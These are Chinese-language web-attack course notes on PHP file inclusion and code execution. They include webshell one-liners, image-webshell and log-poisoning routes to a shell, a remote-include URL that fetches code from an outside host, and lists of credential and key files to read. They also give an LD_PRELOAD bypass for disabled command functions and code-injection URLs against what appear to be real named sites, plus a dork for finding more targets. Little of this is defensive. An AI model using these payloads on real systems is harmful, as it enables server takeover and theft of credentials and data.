文件包含漏洞
代码执行漏洞
变量覆盖漏洞
PHP反序列与伪协议漏洞
Thinkphp 框架漏洞
PART 1: 文件包含漏洞
文件包含
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,
而无需再次编写,这中文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,
而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。
在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。
例如经常看见php代码出现
include ‘conn.php‘ //包含被写死了,没有漏洞
require ‘config.php‘ //包含被写死了,没有漏洞
include_once
require_once
$file=$_GET[‘file‘]
include $file //如果调用的是变量,而这个变量能被用户操控
index.php?file=/uploadfile/20201312.jpg //能被控制那么就会被执行出来 这就是文件包含
常见文件包含函数
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once()和require_once():若文件中代码已被包含则不会再次包含
include(): 出错后后续页面将会存在
require(): 出错后,后续页面不会存在
include_once()和require_once(): 重复包含文件,只调用一次
利用条件
程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
用户能够控制该动态变量
漏洞危害
执行任意代码
包含恶意文件控制网站
甚至控制服务器
国内网站存在文件包含的多,相比国外更多
文件包含漏哪里的站多?
欧美的站
比特币站
用AWVS,x-ray
教育的网站也会出现
漏洞分类
本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码
上传图片马,然后包含
读敏感文件,读PHP文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
远程文件包含:可以直接执行任意代码
要保证php.ini中allow_url_fopen和allow_url_include要为On
index.php?file=/uploadfile/20201312.jpg //本地包含
index.php?file=http://www.baidu.com/a.jpg //远程包含
allow_url_fopen 默认开启的
allow_url_include 默认关闭
漏洞挖掘
通过白盒代码审计
黑盒工具挖掘
awvs appscan burp
w3af
AWvS 属于高危漏洞
AWVS会显示:file include 文件包含
黑盒测试:
工具就正常工具
手工就挖掘
手工挖掘可以去,但不建议:
1.指定所有参数
2.考虑参数存在
3.路径查找
4.附加后缀截断.
index.php?m=index&sid=123&dsfsf= //存在也只会在m=包含的文件称或者路径的才会存在,id后面是不存在的 重点
Linux测试:
index.php?m=/etc/passwd&sid=123&dsfsf= ///etc/passwd这文件如果有的话都会在网页列出来
注意:我们的文件index.php?m=xxxxx是不是在根下.
是就index.php?m=/etc/passwd&sid=123&dsfsf=
不是,这时候路径就得是index.php?m=../../../etc/passwd&sid=123&dsfsf= //一级一级网上翻直到找到/etc/passwd&sid
因为你的网站可能在根下好几级目录里
附加后缀截断:
index.php?m=../../../etc/passwd&sid=123&dsfsf= //找到的地方
index.php?m=../../../etc/passwd.php&sid=123&dsfsf= //找到地方的代码成了这样
截断方法:
常见%00 大于5.2.1 , 小于5.2.3的版本 注意魔术引号开启
也可以文件名后边加././././././././.php通过长度截断
找漏洞:
1.index.php?m=index&sid=123&dsfsf= //存在也只会在m=包含的文件称或者路径的才会存在,id后面是不存在的 重点
2.找一个系统可以访问的文件去读取作为判断依据,让他去读取,读取就有,注意截断附加
白盒测试,代码审计:如果能下载到源码
追溯那几个常用的函数即可
工具代码审计-Seay2.2 放进源码自动审计
全局搜索:
include
require
查看两个后面是否调用的变量,是变量就代表有,如果是页面就没有.
本地包含漏洞
文件包含漏洞利用的条件
1 include()等函数通过动态变量的方式引入需要包含的文件
2 用户能控制该动态变量
<?php
$test=$_GET[‘c‘]; //客户端通过c来GET传参给test这个变量
include($test); //include包含了test变量
?>
保存为 include.php
在同一个目录下创建test.txt 内容为
<?php phpinfo() ?>
访问测试 //http://127.0.0.1/test/include.php?c=test.txt //访问连接,将123.txt传送给c并赋给test变量
1.txt被include.php当做代码去运行了,不管你是txt还是什么内容,都被当做代码去运行
目标站有上传接口:
问题来了.如果发生一个地方发生文件包含漏洞,我上传一个图片马,让他去包含图片马,就可以getshell
目标站没上传接口:
只要把一句话代码想办法插到文件里面,找到该文件路径,通过文件包含访问该文件即可
例如:
找到数据库路径,通过留言插入代码,在文件包含,去包含数据库即可
例如:
A站有文件包含,但不能上传,不能编辑,还有其他B站C站D站
就在C站找上传接口,在通过A站路径访问到C站进行包含 属于本地包含
菜刀链接:http://www.baidu.com/a.php?c=/uploadfile/a.jpg
本地包含漏洞注意事项
相对路径
../../../etc/passwd
%00截断包含(PHP<5.3.4)
<?php
include $_GET[x].‘.php‘;
echo $_GET[x].‘.php‘;
?>
magic_quotes_gps=off 才可以,否则%00会被转义
截断绕过
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows
其他绕过
dvwa中级难度的包含,这个主要是过滤了远程文件包含和我们目录的跳转,大小写混合输入就可以绕过远程文件包含的过滤
目录跳转的过滤我们可以构造….//….//xxx.php,方式绕过,由于他只过滤一次,我们可以利用他的过滤动态拼接目录跳转,从而绕过过滤
利用技巧
上传图片马,马包含的代码为<?fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>, //记住如果被转移在加\
上传后图片路径为/uploadfile/x.jpg,当访问
http://www.cracer.com/xx.php?page=uploadfile/x.jpg时,
将会在fi这个文件夹下生成shell.php,内容为<?php eval($_POST[x); ?>
读敏感文件
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
包含日志(主要是得到日志的路径) 要有读取日志的权限 默认是不行的
正常来讲每个网站都有日志,如果我在URL后面追加一句话,在去包含日志就直接getshell
读日志路径:
文件包含漏洞读取apache配置文件
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
默认位置/var/log/httpd/access_log
有的cms本身也会记录错误日志,这种日志可以访问, 想办法报错,被记录进日志,然后getshell
例如:192.168.200:8070/?s=video/detail/id/26.html 这种类型的就有文件包含漏洞
文件包含漏洞实例:
制作错误,写入一句话
192.168.200:8070/?s=video/detail/id/26.html 原来
http://127.0.0.1/ekucms/index.php?s=my/show/id/{~eval($_POST[x])}/示例
my/show/id/{~eval($_POST[x])} //需要插入的
192.168.200:8070/?s=my/show/id/{~eval($_POST[x])} //结合后
会报错写进日志
日志地址:
根目录下temp\legs\20_05_15.log 路径是固定的
访问日志:192.168.200:8070/temp/legs/20_05_15.log
调用包含:
192.168.200:8070/?s=my/show/id/\..\temp\logs\15_09_08.log
调用成功后进行验证
验证:
检查元素-加载进来-启用post
body:
x=phpinfo();
如果执行,代表一句话已经写进去了
菜刀链接:192.168.200:8070/?s=my/show/id/\..\temp\logs\15_09_08.log
读PHP文件 (伪协议)
直接包含php文件时会被解析,不能看到源码,可以用封装协议读取:
?page=php://filter/read=convert.base64-encode/resource=config.php
访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码
例如实战:
192.168.200:8070/?s=php://filter/read=convert.base64-encode/resource=config.php //config.php可以换其他php文件
远程包含
注:远程的文件名不能为php可解析的扩展名,allow_url_fopen和allow_url_include为On是必须的
若在a.txt写入<?php fputs(fopen("shell.php","w"),"<?php @eval($_POST[xxx]); ?>") ?>,可直接写shell
PART 2: 代码执行漏洞
maccms
海洋cms
thinkphp框架
feifei
影视cms
代码执行函数
PHP中可以执行代码的函数。如eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等
例如:
<?php eval($_POST[cc123]) ?>
php代码执行有如eval()、assert()
系统命令执行:system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等
eval:
<?php eval($_POST[cc123]) ?> 一句话保存为sh.php
192.168.200:8070/sh.php //访问
检察元素post传参
cc123=phpinfo; system(‘ipconifg‘);
动态代码执行:
<?php $_REQUEST[a]($_REQUEST[x]) ?> 一句话保存为sh.php 写免杀过waf要好
192.168.200:8070/sh.php //访问
检察元素
192.168.200:8070/sh.php?a=assert&x=phpinfo(); //一个都不要错
192.168.200:8070/sh.php?a=system&x=ipconfig(); //执行系统命令
命令执行函数 //看ppt
在php中您可以使用下列5个函数来执行外部的应用程序或函数
1 system:执行一个外部的应用程序并显示输出的结果
2 exec:执行一个外部的应用程序
3 passthru:执行一个UNIX系统命令并显示原始的输出
4 shell_exec:执行shell命令并返回输出的结果的字符串
5 “‘‘”运算符:与shell_exec函数的功能相同
system函数使用 //看ppt
<?
$cmd = $_GET["cmd"];
echo "<pre>";
system($cmd);
echo "</pre>";
?>
http://127.0.0.1/sys.php?cmd=ipconfig
解决Linux禁用执行命令函数问题
注意:linux提权的时候一定要执行命令查看内核,然后编译内核漏洞,提权
编写hack.c: //把一下代码写到本地,保存为c语言代码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt"); //可以写别的需要删除的文件
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
测试执行
$ gcc -c -fPIC hack.c -o hack //在本地进行编译输出为hack
$ gcc -shared hack -o hack.so //通过hack生成hock.so
把hock.so上传到网站根目录
再上传到webshell上,然后写一段简单的php代码:在网站根目录保存一个脚本
<?php
putenv("LD_PRELOAD=/var/www/hack.so"); //知道网站根目录
mail("a@localhost","","","","");
?>
在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。
代码执行 实例 海洋cms
http://www.77dvd.com/
http://www.bgdyhd.com/
http://www.bgdyhd.com/search.php?searchtype=5&tid=&area=phpinfo()
谷歌:inurl:search.php?searchtype=5
实战:
192.168.0.200:8072/search.php?searchtype=5&tid=&area=phpinfo() 页面返回成功写什么传参什么
192.168.0.200:8072/search.php?searchtype=5&tid=&area=eval($_REQUEST[a]) //链接这个密码a
192.168.0.200:8072/search.php?searchtype=5&tid=&area=eval($_REQUEST[a])&a=phpinfo(); //也可以